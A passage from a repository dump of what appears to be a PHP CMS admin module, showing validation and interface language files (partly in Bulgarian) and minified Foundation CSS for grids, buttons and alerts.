    'exists'               => 'The selected :attribute is invalid.',
    'filled'               => 'The :attribute field is required.',
    'image'                => 'The :attribute must be an image.',
    'in'                   => 'The selected :attribute is invalid.',
    'integer'              => 'The :attribute must be an integer.',
    'ip'                   => 'The :attribute must be a valid IP address.',
    'json'                 => 'The :attribute must be a valid JSON string.',
    'max'                  => [
        'numeric' => 'The :attribute may not be greater than :max.',
        'file'    => 'The :attribute may not be greater than :max kilobytes.',
        'string'  => 'The :attribute may not be greater than :max characters.',
        'array'   => 'The :attribute may not have more than :max items.',
    ],
    'mimes'                => 'The :attribute must be a file of type: :values.',
    'min'                  => [
        'numeric' => 'The :attribute must be at least :min.',
        'file'    => 'The :attribute must be at least :min kilobytes.',
        'string'  => 'The :attribute must be at least :min characters.',
        'array'   => 'The :attribute must have at least :min items.',
    ],
    'not_in'               => 'The selected :attribute is invalid.',
    'numeric'              => 'The :attribute must be a number.',
    'regex'                => 'The :attribute format is invalid.',
    'required'             => 'The :attribute field is required.',
    'required_if'          => 'The :attribute field is required when :other is :value.',
    'required_with'        => 'The :attribute field is required when :values is present.',
    'required_with_all'    => 'The :attribute field is required when :values is present.',
    'required_without'     => 'The :attribute field is required when :values is not present.',
    'required_without_all' => 'The :attribute field is required when none of :values are present.',
    'same'                 => 'The :attribute and :other must match.',
    'size'                 => [
        'numeric' => 'The :attribute must be :size.',
        'file'    => 'The :attribute must be :size kilobytes.',
        'string'  => 'The :attribute must be :size characters.',
        'array'   => 'The :attribute must contain :size items.',
    ],
    'string'               => 'The :attribute must be a string.',
    'timezone'             => 'The :attribute must be a valid zone.',
    'unique'               => 'The :attribute has already been taken.',
    'url'                  => 'The :attribute format is invalid.',

    /*
    |--------------------------------------------------------------------------
    | Custom Validation Language Lines
    |--------------------------------------------------------------------------
    |
    | Here you may specify custom validation messages for attributes using the
    | convention "attribute.rule" to name the lines. This makes it quick to
    | specify a specific custom language line for a given attribute rule.
    |
    */

    'custom' => [
        'attribute-name' => [
            'rule-name' => 'custom-message',
        ],
    ],

    /*
    |--------------------------------------------------------------------------
    | Custom Validation Attributes
    |--------------------------------------------------------------------------
    |
    | The following language lines are used to swap attribute place-holders
    | with something more reader friendly such as E-Mail Address instead
    | of "email". This simply helps us make messages a little cleaner.
    |
    */

    'attributes' => [],

];


================================================
FILE: src/lang/en/auth.php
================================================
 'Моля, въведете данни за достъп.',
	'username' => 'Потребителско име',
	'password' => 'Парола',
	'email' => 'E-Mail',
];



================================================
FILE: src/lang/en/category.php
================================================
 'Slug',
	'order' => 'Order',
	'active' => 'Active',
	'homepage' => 'Homepage',
	'parent' => 'Parent',
	'main' => 'Основна',
	'uri' => 'URI',
	'title' => 'Title',
	'brief' => 'Brief',
	'content' => 'Content',
];



================================================
FILE: src/lang/en/common.php
================================================
 [
		'edit' => 'промени',
		'delete' => 'изтрий',
		'save' => 'запази',
		'cancel' => 'отказ',
		'login' => 'вход',
		'add' => 'добави',
	],
];



================================================
FILE: src/public/assets/admin/css/app.css
================================================
meta.foundation-version {font-family:"/5.4.7/";}meta.foundation-mq-small {font-family:"/only screen/";width:0em;}meta.foundation-mq-medium {font-family:"/only screen and (min-width:40.063em)/";width:40.063em;}meta.foundation-mq-large {font-family:"/only screen and (min-width:64.063em)/";width:64.063em;}meta.foundation-mq-xlarge {font-family:"/only screen and (min-width:90.063em)/";width:90.063em;}meta.foundation-mq-xxlarge {font-family:"/only screen and (min-width:120.063em)/";width:120.063em;}meta.foundation-data-attribute-namespace {font-family:false;}html ,body {height:100%;}* ,*:before ,*:after {-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;}html ,body {font-size:100%;}body {background:#ffffff;color:#222222;padding:0;margin:0;font-family:"Helvetica Neue","Helvetica",Helvetica,Arial,sans-serif;font-weight:normal;font-style:normal;line-height:150%;position:relative;cursor:auto;}a:hover {cursor:pointer;}img {max-width:100%;height:auto;}img {-ms-interpolation-mode:bicubic;}#map_canvas img ,#map_canvas embed ,#map_canvas object ,.map_canvas img ,.map_canvas embed ,.map_canvas object {max-width:none !important;}.left {float:left !important;}.right {float:right !important;}.clearfix:before ,.clearfix:after {content:" ";display:table;}.clearfix:after {clear:both;}.hide {display:none !important;visibility:hidden;}.invisible {visibility:hidden;}.antialiased {-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;}img {display:inline-block;vertical-align:middle;}textarea {height:auto;min-height:50px;}select {width:100%;}.row {width:100%;margin-left:auto;margin-right:auto;margin-top:0;margin-bottom:0;max-width:62.5rem;}.row:before ,.row:after {content:" ";display:table;}.row:after {clear:both;}.row.collapse>.column ,.row.collapse>.columns {padding-left:0;padding-right:0;}.row.collapse .row {margin-left:0;margin-right:0;}.row .row {width:auto;margin-left:-0.125rem;margin-right:-0.125rem;margin-top:0;margin-bottom:0;max-width:none;}.row .row:before ,.row .row:after {content:" ";display:table;}.row .row:after {clear:both;}.row .row.collapse {width:auto;margin:0;max-width:none;}.row .row.collapse:before ,.row .row.collapse:after {content:" ";display:table;}.row .row.collapse:after {clear:both;}.column ,.columns {padding-left:0.125rem;padding-right:0.125rem;width:100%;float:left;}[class*="column"]+[class*="column"]:last-child {float:right;}[class*="column"]+[class*="column"].end {float:left;}@media only screen{.small-push-0 {position:relative;left:0%;right:auto;}.small-pull-0 {position:relative;right:0%;left:auto;}.small-push-1 {position:relative;left:8.33333%;right:auto;}.small-pull-1 {position:relative;right:8.33333%;left:auto;}.small-push-2 {position:relative;left:16.66667%;right:auto;}.small-pull-2 {position:relative;right:16.66667%;left:auto;}.small-push-3 {position:relative;left:25%;right:auto;}.small-pull-3 {position:relative;right:25%;left:auto;}.small-push-4 {position:relative;left:33.33333%;right:auto;}.small-pull-4 {position:relative;right:33.33333%;left:auto;}.small-push-5 {position:relative;left:41.66667%;right:auto;}.small-pull-5 {position:relative;right:41.66667%;left:auto;}.small-push-6 {position:relative;left:50%;right:auto;}.small-pull-6 {position:relative;right:50%;left:auto;}.small-push-7 {position:relative;left:58.33333%;right:auto;}.small-pull-7 {position:relative;right:58.33333%;left:auto;}.small-push-8 {position:relative;left:66.66667%;right:auto;}.small-pull-8 {position:relative;right:66.66667%;left:auto;}.small-push-9 {position:relative;left:75%;right:auto;}.small-pull-9 {position:relative;right:75%;left:auto;}.small-push-10 {position:relative;left:83.33333%;right:auto;}.small-pull-10 {position:relative;right:83.33333%;left:auto;}.small-push-11 {position:relative;left:91.66667%;right:auto;}.small-pull-11 {position:relative;right:91.66667%;left:auto;}.column ,.columns {position:relative;padding-left:0.125rem;padding-right:0.125rem;float:left;}.small-1 {width:8.33333%;}.small-2 {width:16.66667%;}.small-3 {width:25%;}.small-4 {width:33.33333%;}.small-5 {width:41.66667%;}.small-6 {width:50%;}.small-7 {width:58.33333%;}.small-8 {width:66.66667%;}.small-9 {width:75%;}.small-10 {width:83.33333%;}.small-11 {width:91.66667%;}.small-12 {width:100%;}.small-offset-0 {margin-left:0% !important;}.small-offset-1 {margin-left:8.33333% !important;}.small-offset-2 {margin-left:16.66667% !important;}.small-offset-3 {margin-left:25% !important;}.small-offset-4 {margin-left:33.33333% !important;}.small-offset-5 {margin-left:41.66667% !important;}.small-offset-6 {margin-left:50% !important;}.small-offset-7 {margin-left:58.33333% !important;}.small-offset-8 {margin-left:66.66667% !important;}.small-offset-9 {margin-left:75% !important;}.small-offset-10 {margin-left:83.33333% !important;}.small-offset-11 {margin-left:91.66667% !important;}.small-reset-order {margin-left:0;margin-right:0;left:auto;right:auto;float:left;}.column.small-centered ,.columns.small-centered {margin-left:auto;margin-right:auto;float:none;}.column.small-uncentered ,.columns.small-uncentered {margin-left:0;margin-right:0;float:left;}.column.small-centered:last-child ,.columns.small-centered:last-child {float:none;}.column.small-uncentered:last-child ,.columns.small-uncentered:last-child {float:left;}.column.small-uncentered.opposite ,.columns.small-uncentered.opposite {float:right;}}@media only screen and (min-width:40.063em){.medium-push-0 {position:relative;left:0%;right:auto;}.medium-pull-0 {position:relative;right:0%;left:auto;}.medium-push-1 {position:relative;left:8.33333%;right:auto;}.medium-pull-1 {position:relative;right:8.33333%;left:auto;}.medium-push-2 {position:relative;left:16.66667%;right:auto;}.medium-pull-2 {position:relative;right:16.66667%;left:auto;}.medium-push-3 {position:relative;left:25%;right:auto;}.medium-pull-3 {position:relative;right:25%;left:auto;}.medium-push-4 {position:relative;left:33.33333%;right:auto;}.medium-pull-4 {position:relative;right:33.33333%;left:auto;}.medium-push-5 {position:relative;left:41.66667%;right:auto;}.medium-pull-5 {position:relative;right:41.66667%;left:auto;}.medium-push-6 {position:relative;left:50%;right:auto;}.medium-pull-6 {position:relative;right:50%;left:auto;}.medium-push-7 {position:relative;left:58.33333%;right:auto;}.medium-pull-7 {position:relative;right:58.33333%;left:auto;}.medium-push-8 {position:relative;left:66.66667%;right:auto;}.medium-pull-8 {position:relative;right:66.66667%;left:auto;}.medium-push-9 {position:relative;left:75%;right:auto;}.medium-pull-9 {position:relative;right:75%;left:auto;}.medium-push-10 {position:relative;left:83.33333%;right:auto;}.medium-pull-10 {position:relative;right:83.33333%;left:auto;}.medium-push-11 {position:relative;left:91.66667%;right:auto;}.medium-pull-11 {position:relative;right:91.66667%;left:auto;}.column ,.columns {position:relative;padding-left:0.125rem;padding-right:0.125rem;float:left;}.medium-1 {width:8.33333%;}.medium-2 {width:16.66667%;}.medium-3 {width:25%;}.medium-4 {width:33.33333%;}.medium-5 {width:41.66667%;}.medium-6 {width:50%;}.medium-7 {width:58.33333%;}.medium-8 {width:66.66667%;}.medium-9 {width:75%;}.medium-10 {width:83.33333%;}.medium-11 {width:91.66667%;}.medium-12 {width:100%;}.medium-offset-0 {margin-left:0% !important;}.medium-offset-1 {margin-left:8.33333% !important;}.medium-offset-2 {margin-left:16.66667% !important;}.medium-offset-3 {margin-left:25% !important;}.medium-offset-4 {margin-left:33.33333% !important;}.medium-offset-5 {margin-left:41.66667% !important;}.medium-offset-6 {margin-left:50% !important;}.medium-offset-7 {margin-left:58.33333% !important;}.medium-offset-8 {margin-left:66.66667% !important;}.medium-offset-9 {margin-left:75% !important;}.medium-offset-10 {margin-left:83.33333% !important;}.medium-offset-11 {margin-left:91.66667% !important;}.medium-reset-order {margin-left:0;margin-right:0;left:auto;right:auto;float:left;}.column.medium-centered ,.columns.medium-centered {margin-left:auto;margin-right:auto;float:none;}.column.medium-uncentered ,.columns.medium-uncentered {margin-left:0;margin-right:0;float:left;}.column.medium-centered:last-child ,.columns.medium-centered:last-child {float:none;}.column.medium-uncentered:last-child ,.columns.medium-uncentered:last-child {float:left;}.column.medium-uncentered.opposite ,.columns.medium-uncentered.opposite {float:right;}.push-0 {position:relative;left:0%;right:auto;}.pull-0 {position:relative;right:0%;left:auto;}.push-1 {position:relative;left:8.33333%;right:auto;}.pull-1 {position:relative;right:8.33333%;left:auto;}.push-2 {position:relative;left:16.66667%;right:auto;}.pull-2 {position:relative;right:16.66667%;left:auto;}.push-3 {position:relative;left:25%;right:auto;}.pull-3 {position:relative;right:25%;left:auto;}.push-4 {position:relative;left:33.33333%;right:auto;}.pull-4 {position:relative;right:33.33333%;left:auto;}.push-5 {position:relative;left:41.66667%;right:auto;}.pull-5 {position:relative;right:41.66667%;left:auto;}.push-6 {position:relative;left:50%;right:auto;}.pull-6 {position:relative;right:50%;left:auto;}.push-7 {position:relative;left:58.33333%;right:auto;}.pull-7 {position:relative;right:58.33333%;left:auto;}.push-8 {position:relative;left:66.66667%;right:auto;}.pull-8 {position:relative;right:66.66667%;left:auto;}.push-9 {position:relative;left:75%;right:auto;}.pull-9 {position:relative;right:75%;left:auto;}.push-10 {position:relative;left:83.33333%;right:auto;}.pull-10 {position:relative;right:83.33333%;left:auto;}.push-11 {position:relative;left:91.66667%;right:auto;}.pull-11 {position:relative;right:91.66667%;left:auto;}}@media only screen and (min-width:64.063em){.large-push-0 {position:relative;left:0%;right:auto;}.large-pull-0 {position:relative;right:0%;left:auto;}.large-push-1 {position:relative;left:8.33333%;right:auto;}.large-pull-1 {position:relative;right:8.33333%;left:auto;}.large-push-2 {position:relative;left:16.66667%;right:auto;}.large-pull-2 {position:relative;right:16.66667%;left:auto;}.large-push-3 {position:relative;left:25%;right:auto;}.large-pull-3 {position:relative;right:25%;left:auto;}.large-push-4 {position:relative;left:33.33333%;right:auto;}.large-pull-4 {position:relative;right:33.33333%;left:auto;}.large-push-5 {position:relative;left:41.66667%;right:auto;}.large-pull-5 {position:relative;right:41.66667%;left:auto;}.large-push-6 {position:relative;left:50%;right:auto;}.large-pull-6 {position:relative;right:50%;left:auto;}.large-push-7 {position:relative;left:58.33333%;right:auto;}.large-pull-7 {position:relative;right:58.33333%;left:auto;}.large-push-8 {position:relative;left:66.66667%;right:auto;}.large-pull-8 {position:relative;right:66.66667%;left:auto;}.large-push-9 {position:relative;left:75%;right:auto;}.large-pull-9 {position:relative;right:75%;left:auto;}.large-push-10 {position:relative;left:83.33333%;right:auto;}.large-pull-10 {position:relative;right:83.33333%;left:auto;}.large-push-11 {position:relative;left:91.66667%;right:auto;}.large-pull-11 {position:relative;right:91.66667%;left:auto;}.column ,.columns {position:relative;padding-left:0.125rem;padding-right:0.125rem;float:left;}.large-1 {width:8.33333%;}.large-2 {width:16.66667%;}.large-3 {width:25%;}.large-4 {width:33.33333%;}.large-5 {width:41.66667%;}.large-6 {width:50%;}.large-7 {width:58.33333%;}.large-8 {width:66.66667%;}.large-9 {width:75%;}.large-10 {width:83.33333%;}.large-11 {width:91.66667%;}.large-12 {width:100%;}.large-offset-0 {margin-left:0% !important;}.large-offset-1 {margin-left:8.33333% !important;}.large-offset-2 {margin-left:16.66667% !important;}.large-offset-3 {margin-left:25% !important;}.large-offset-4 {margin-left:33.33333% !important;}.large-offset-5 {margin-left:41.66667% !important;}.large-offset-6 {margin-left:50% !important;}.large-offset-7 {margin-left:58.33333% !important;}.large-offset-8 {margin-left:66.66667% !important;}.large-offset-9 {margin-left:75% !important;}.large-offset-10 {margin-left:83.33333% !important;}.large-offset-11 {margin-left:91.66667% !important;}.large-reset-order {margin-left:0;margin-right:0;left:auto;right:auto;float:left;}.column.large-centered ,.columns.large-centered {margin-left:auto;margin-right:auto;float:none;}.column.large-uncentered ,.columns.large-uncentered {margin-left:0;margin-right:0;float:left;}.column.large-centered:last-child ,.columns.large-centered:last-child {float:none;}.column.large-uncentered:last-child ,.columns.large-uncentered:last-child {float:left;}.column.large-uncentered.opposite ,.columns.large-uncentered.opposite {float:right;}.push-0 {position:relative;left:0%;right:auto;}.pull-0 {position:relative;right:0%;left:auto;}.push-1 {position:relative;left:8.33333%;right:auto;}.pull-1 {position:relative;right:8.33333%;left:auto;}.push-2 {position:relative;left:16.66667%;right:auto;}.pull-2 {position:relative;right:16.66667%;left:auto;}.push-3 {position:relative;left:25%;right:auto;}.pull-3 {position:relative;right:25%;left:auto;}.push-4 {position:relative;left:33.33333%;right:auto;}.pull-4 {position:relative;right:33.33333%;left:auto;}.push-5 {position:relative;left:41.66667%;right:auto;}.pull-5 {position:relative;right:41.66667%;left:auto;}.push-6 {position:relative;left:50%;right:auto;}.pull-6 {position:relative;right:50%;left:auto;}.push-7 {position:relative;left:58.33333%;right:auto;}.pull-7 {position:relative;right:58.33333%;left:auto;}.push-8 {position:relative;left:66.66667%;right:auto;}.pull-8 {position:relative;right:66.66667%;left:auto;}.push-9 {position:relative;left:75%;right:auto;}.pull-9 {position:relative;right:75%;left:auto;}.push-10 {position:relative;left:83.33333%;right:auto;}.pull-10 {position:relative;right:83.33333%;left:auto;}.push-11 {position:relative;left:91.66667%;right:auto;}.pull-11 {position:relative;right:91.66667%;left:auto;}}.accordion {margin-bottom:0;}.accordion:before ,.accordion:after {content:" ";display:table;}.accordion:after {clear:both;}.accordion .accordion-navigation ,.accordion dd {display:block;margin-bottom:0 !important;}.accordion .accordion-navigation.active>a ,.accordion dd.active>a {background:#e8e8e8;}.accordion .accordion-navigation>a ,.accordion dd>a {background:#efefef;color:#222222;padding:1rem;display:block;font-family:"Helvetica Neue","Helvetica",Helvetica,Arial,sans-serif;font-size:1rem;}.accordion .accordion-navigation > a:hover ,.accordion dd > a:hover {background:#e3e3e3;}.accordion .accordion-navigation>.content ,.accordion dd>.content {display:none;padding:0.125rem;}.accordion .accordion-navigation > .content.active ,.accordion dd > .content.active {display:block;background:#ffffff;}.alert-box {border-style:solid;border-width:1px;display:block;font-weight:normal;margin-bottom:1.25rem;position:relative;padding:0.875rem 1.5rem 0.875rem 0.875rem;font-size:0.8125rem;transition:opacity 300ms ease-out;background-color:#008cba;border-color:#007ba0;color:#ffffff;}.alert-box .close {font-size:1.375rem;padding:9px 6px 4px;line-height:0;position:absolute;top:50%;margin-top:-0.6875rem;right:0.25rem;color:#333333;opacity:0.3;background:inherit;}.alert-box .close:hover ,.alert-box .close:focus {opacity:0.5;}.alert-box.radius {border-radius:3px;}.alert-box.round {border-radius:1000px;}.alert-box.success {background-color:#43ac6a;border-color:#3a945b;color:#ffffff;}.alert-box.alert {background-color:#f04124;border-color:#de2b0f;color:#ffffff;}.alert-box.secondary {background-color:#e7e7e7;border-color:#c7c7c7;color:#4f4f4f;}.alert-box.warning {background-color:#f08a24;border-color:#de770f;color:#ffffff;}.alert-box.info {background-color:#a0d3e8;border-color:#74bfdd;color:#4f4f4f;}.alert-box.alert-close {opacity:0;}[class*="block-grid-"] {display:block;padding:0;margin:0 -0.625rem;}[class*="block-grid-"]:before ,[class*="block-grid-"]:after {content:" ";display:table;}[class*="block-grid-"]:after {clear:both;}[class*="block-grid-"]>li {display:block;height:auto;float:left;padding:0 0.625rem 1.25rem;}@media only screen{.small-block-grid-1>li {width:100%;list-style:none;}.small-block-grid-1 > li:nth-of-type(1n) {clear:none;}.small-block-grid-1 > li:nth-of-type(1n+1) {clear:both;}.small-block-grid-2>li {width:50%;list-style:none;}.small-block-grid-2 > li:nth-of-type(1n) {clear:none;}.small-block-grid-2 > li:nth-of-type(2n+1) {clear:both;}.small-block-grid-3>li {width:33.33333%;list-style:none;}.small-block-grid-3 > li:nth-of-type(1n) {clear:none;}.small-block-grid-3 > li:nth-of-type(3n+1) {clear:both;}.small-block-grid-4>li {width:25%;list-style:none;}.small-block-grid-4 > li:nth-of-type(1n) {clear:none;}.small-block-grid-4 > li:nth-of-type(4n+1) {clear:both;}.small-block-grid-5>li {width:20%;list-style:none;}.small-block-grid-5 > li:nth-of-type(1n) {clear:none;}.small-block-grid-5 > li:nth-of-type(5n+1) {clear:both;}.small-block-grid-6>li {width:16.66667%;list-style:none;}.small-block-grid-6 > li:nth-of-type(1n) {clear:none;}.small-block-grid-6 > li:nth-of-type(6n+1) {clear:both;}.small-block-grid-7>li {width:14.28571%;list-style:none;}.small-block-grid-7 > li:nth-of-type(1n) {clear:none;}.small-block-grid-7 > li:nth-of-type(7n+1) {clear:both;}.small-block-grid-8>li {width:12.5%;list-style:none;}.small-block-grid-8 > li:nth-of-type(1n) {clear:none;}.small-block-grid-8 > li:nth-of-type(8n+1) {clear:both;}.small-block-grid-9>li {width:11.11111%;list-style:none;}.small-block-grid-9 > li:nth-of-type(1n) {clear:none;}.small-block-grid-9 > li:nth-of-type(9n+1) {clear:both;}.small-block-grid-10>li {width:10%;list-style:none;}.small-block-grid-10 > li:nth-of-type(1n) {clear:none;}.small-block-grid-10 > li:nth-of-type(10n+1) {clear:both;}.small-block-grid-11>li {width:9.09091%;list-style:none;}.small-block-grid-11 > li:nth-of-type(1n) {clear:none;}.small-block-grid-11 > li:nth-of-type(11n+1) {clear:both;}.small-block-grid-12>li {width:8.33333%;list-style:none;}.small-block-grid-12 > li:nth-of-type(1n) {clear:none;}.small-block-grid-12 > li:nth-of-type(12n+1) {clear:both;}}@media only screen and (min-width:40.063em){.medium-block-grid-1>li {width:100%;list-style:none;}.medium-block-grid-1 > li:nth-of-type(1n) {clear:none;}.medium-block-grid-1 > li:nth-of-type(1n+1) {clear:both;}.medium-block-grid-2>li {width:50%;list-style:none;}.medium-block-grid-2 > li:nth-of-type(1n) {clear:none;}.medium-block-grid-2 > li:nth-of-type(2n+1) {clear:both;}.medium-block-grid-3>li {width:33.33333%;list-style:none;}.medium-block-grid-3 > li:nth-of-type(1n) {clear:none;}.medium-block-grid-3 > li:nth-of-type(3n+1) {clear:both;}.medium-block-grid-4>li {width:25%;list-style:none;}.medium-block-grid-4 > li:nth-of-type(1n) {clear:none;}.medium-block-grid-4 > li:nth-of-type(4n+1) {clear:both;}.medium-block-grid-5>li {width:20%;list-style:none;}.medium-block-grid-5 > li:nth-of-type(1n) {clear:none;}.medium-block-grid-5 > li:nth-of-type(5n+1) {clear:both;}.medium-block-grid-6>li {width:16.66667%;list-style:none;}.medium-block-grid-6 > li:nth-of-type(1n) {clear:none;}.medium-block-grid-6 > li:nth-of-type(6n+1) {clear:both;}.medium-block-grid-7>li {width:14.28571%;list-style:none;}.medium-block-grid-7 > li:nth-of-type(1n) {clear:none;}.medium-block-grid-7 > li:nth-of-type(7n+1) {clear:both;}.medium-block-grid-8>li {width:12.5%;list-style:none;}.medium-block-grid-8 > li:nth-of-type(1n) {clear:none;}.medium-block-grid-8 > li:nth-of-type(8n+1) {clear:both;}.medium-block-grid-9>li {width:11.11111%;list-style:none;}.medium-block-grid-9 > li:nth-of-type(1n) {clear:none;}.medium-block-grid-9 > li:nth-of-type(9n+1) {clear:both;}.medium-block-grid-10>li {width:10%;list-style:none;}.medium-block-grid-10 > li:nth-of-type(1n) {clear:none;}.medium-block-grid-10 > li:nth-of-type(10n+1) {clear:both;}.medium-block-grid-11>li {width:9.09091%;list-style:none;}.medium-block-grid-11 > li:nth-of-type(1n) {clear:none;}.medium-block-grid-11 > li:nth-of-type(11n+1) {clear:both;}.medium-block-grid-12>li {width:8.33333%;list-style:none;}.medium-block-grid-12 > li:nth-of-type(1n) {clear:none;}.medium-block-grid-12 > li:nth-of-type(12n+1) {clear:both;}}@media only screen and (min-width:64.063em){.large-block-grid-1>li {width:100%;list-style:none;}.large-block-grid-1 > li:nth-of-type(1n) {clear:none;}.large-block-grid-1 > li:nth-of-type(1n+1) {clear:both;}.large-block-grid-2>li {width:50%;list-style:none;}.large-block-grid-2 > li:nth-of-type(1n) {clear:none;}.large-block-grid-2 > li:nth-of-type(2n+1) {clear:both;}.large-block-grid-3>li {width:33.33333%;list-style:none;}.large-block-grid-3 > li:nth-of-type(1n) {clear:none;}.large-block-grid-3 > li:nth-of-type(3n+1) {clear:both;}.large-block-grid-4>li {width:25%;list-style:none;}.large-block-grid-4 > li:nth-of-type(1n) {clear:none;}.large-block-grid-4 > li:nth-of-type(4n+1) {clear:both;}.large-block-grid-5>li {width:20%;list-style:none;}.large-block-grid-5 > li:nth-of-type(1n) {clear:none;}.large-block-grid-5 > li:nth-of-type(5n+1) {clear:both;}.large-block-grid-6>li {width:16.66667%;list-style:none;}.large-block-grid-6 > li:nth-of-type(1n) {clear:none;}.large-block-grid-6 > li:nth-of-type(6n+1) {clear:both;}.large-block-grid-7>li {width:14.28571%;list-style:none;}.large-block-grid-7 > li:nth-of-type(1n) {clear:none;}.large-block-grid-7 > li:nth-of-type(7n+1) {clear:both;}.large-block-grid-8>li {width:12.5%;list-style:none;}.large-block-grid-8 > li:nth-of-type(1n) {clear:none;}.large-block-grid-8 > li:nth-of-type(8n+1) {clear:both;}.large-block-grid-9>li {width:11.11111%;list-style:none;}.large-block-grid-9 > li:nth-of-type(1n) {clear:none;}.large-block-grid-9 > li:nth-of-type(9n+1) {clear:both;}.large-block-grid-10>li {width:10%;list-style:none;}.large-block-grid-10 > li:nth-of-type(1n) {clear:none;}.large-block-grid-10 > li:nth-of-type(10n+1) {clear:both;}.large-block-grid-11>li {width:9.09091%;list-style:none;}.large-block-grid-11 > li:nth-of-type(1n) {clear:none;}.large-block-grid-11 > li:nth-of-type(11n+1) {clear:both;}.large-block-grid-12>li {width:8.33333%;list-style:none;}.large-block-grid-12 > li:nth-of-type(1n) {clear:none;}.large-block-grid-12 > li:nth-of-type(12n+1) {clear:both;}}.breadcrumbs {display:block;padding:0.5625rem 0.875rem 0.5625rem;overflow:hidden;margin-left:0;list-style:none;border-style:solid;border-width:1px;background-color:#f4f4f4;border-color:#dcdcdc;border-radius:3px;}.breadcrumbs>* {margin:0;float:left;font-size:0.6875rem;line-height:0.6875rem;text-transform:uppercase;color:#008cba;}.breadcrumbs > *:hover a ,.breadcrumbs > *:focus a {text-decoration:underline;}.breadcrumbs > * a {color:#008cba;}.breadcrumbs > *.current {cursor:default;color:#333333;}.breadcrumbs > *.current a {cursor:default;color:#333333;}.breadcrumbs > *.current:hover ,.breadcrumbs > *.current:hover a ,.breadcrumbs > *.current:focus ,.breadcrumbs > *.current:focus a {text-decoration:none;}.breadcrumbs > *.unavailable {color:#999999;}.breadcrumbs > *.unavailable a {color:#999999;}.breadcrumbs > *.unavailable:hover ,.breadcrumbs > *.unavailable:hover a ,.breadcrumbs > *.unavailable:focus ,.breadcrumbs > *.unavailable a:focus {text-decoration:none;color:#999999;cursor:default;}.breadcrumbs > *:before {content:"/";color:#aaaaaa;margin:0 0.75rem;position:relative;top:1px;}.breadcrumbs > *:first-child:before {content:" ";margin:0;}[aria-label="breadcrumbs"] [aria-hidden="true"]:after {content:"/";}button ,.button {border-style:solid;border-width:0px;cursor:pointer;font-family:"Helvetica Neue","Helvetica",Helvetica,Arial,sans-serif;font-weight:normal;line-height:normal;margin:0 0 1.25rem;position:relative;text-decoration:none;text-align:center;-webkit-appearance:none;-webkit-border-radius:0;display:inline-block;padding-top:1rem;padding-right:2rem;padding-bottom:1.0625rem;padding-left:2rem;font-size:1rem;background-color:#008cba;border-color:#007295;color:#ffffff;transition:background-color 300ms ease-out;}button:hover ,button:focus ,.button:hover ,.button:focus {background-color:#007295;}button:hover ,button:focus ,.button:hover ,.button:focus {color:#ffffff;}button.secondary ,.button.secondary {background-color:#e7e7e7;border-color:#b9b9b9;color:#333333;}button.secondary:hover ,button.secondary:focus ,.button.secondary:hover ,.button.secondary:focus {background-color:#b9b9b9;}button.secondary:hover ,button.secondary:focus ,.button.secondary:hover ,.button.secondary:focus {color:#333333;}button.success ,.button.success {background-color:#43ac6a;border-color:#368a54;color:#ffffff;}button.success:hover ,button.success:focus ,.button.success:hover ,.button.success:focus {background-color:#368a54;}button.success:hover ,button.success:focus ,.button.success:hover ,.button.success:focus {color:#ffffff;}button.alert ,.button.alert {background-color:#f04124;border-color:#cf280e;color:#ffffff;}button.alert:hover ,button.alert:focus ,.button.alert:hover ,.button.alert:focus {background-color:#cf280e;}button.alert:hover ,button.alert:focus ,.button.alert:hover ,.button.alert:focus {color:#ffffff;}button.warning ,.button.warning {background-color:#f08a24;border-color:#cf6e0e;color:#ffffff;}button.warning:hover ,button.warning:focus ,.button.warning:hover ,.button.warning:focus {background-color:#cf6e0e;}button.warning:hover ,button.warning:focus ,.button.warning:hover ,.button.warning:focus {color:#ffffff;}button.info ,.button.info {background-color:#a0d3e8;border-color:#61b7d9;color:#333333;}button.info:hover ,button.info:focus ,.button.info:hover ,.button.info:focus {background-color:#61b7d9;}button.info:hover ,button.info:focus ,.button.info:hover ,.button.info:focus {color:#ffffff;}button.large ,.button.large {padding-top:1.125rem;padding-right:2.25rem;padding-bottom:1.1875rem;padding-left:2.25rem;font-size:1.25rem;}button.small ,.button.small {padding-top:0.875rem;padding-right:1.75rem;padding-bottom:0.9375rem;padding-left:1.75rem;font-size:0.8125rem;}button.tiny ,.button.tiny {padding-top:0.625rem;padding-right:1.25rem;padding-bottom:0.6875rem;padding-left:1.25rem;font-size:0.6875rem;}button.expand ,.button.expand {padding-right:0;padding-left:0;width:100%;}button.left-align ,.button.left-align {text-align:left;text-indent:0.75rem;}button.right-align ,.button.right-align {text-align:right;padding-right:0.75rem;}button.radius ,.button.radius {border-radius:3px;}button.round ,.button.round {border-radius:1000px;}button.disabled ,button[disabled] ,.button.disabled ,.button[disabled] {background-color:#008cba;border-color:#007295;color:#ffffff;cursor:default;opacity:0.7;box-shadow:none;}button.disabled:hover ,button.disabled:focus ,button[disabled]:hover ,button[disabled]:focus ,.button.disabled:hover ,.button.disabled:focus ,.button[disabled]:hover ,.button[disabled]:focus {background-color:#007295;}button.disabled:hover ,button.disabled:focus ,button[disabled]:hover ,button[disabled]:focus ,.button.disabled:hover ,.button.disabled:focus ,.button[disabled]:hover ,.button[disabled]:focus {color:#ffffff;}button.disabled:hover ,button.disabled:focus ,button[disabled]:hover ,button[disabled]:focus ,.button.disabled:hover ,.button.disabled:focus ,.button[disabled]:hover ,.button[disabled]:focus {background-color:#008cba;}button.disabled.secondary ,button[disabled].secondary ,.button.disabled.secondary ,.button[disabled].secondary {background-color:#e7e7e7;border-color:#b9b9b9;color:#333333;cursor:default;opacity:0.7;box-shadow:none;}button.disabled.secondary:hover ,button.disabled.secondary:focus ,button[disabled].secondary:hover ,button[disabled].secondary:focus ,.button.disabled.secondary:hover ,.button.disabled.secondary:focus ,.button[disabled].secondary:hover ,.button[disabled].secondary:focus {background-color:#b9b9b9;}button.disabled.secondary:hover ,button.disabled.secondary:focus ,button[disabled].secondary:hover ,button[disabled].secondary:focus ,.button.disabled.secondary:hover ,.button.disabled.secondary:focus ,.button[disabled].secondary:hover ,.button[disabled].secondary:focus {color:#333333;}button.disabled.secondary:hover ,button.disabled.secondary:focus ,button[disabled].secondary:hover ,button[disabled].secondary:focus ,.button.disabled.secondary:hover ,.button.disabled.secondary:focus ,.button[disabled].secondary:hover ,.button[disabled].secondary:focus {background-color:#e7e7e7;}button.disabled.success ,button[disabled].success ,.button.disabled.success ,.button[disabled].success {background-color:#43ac6a;border-color:#368a54;color:#ffffff;cursor:default;opacity:0.7;box-shadow:none;}button.disabled.success:hover 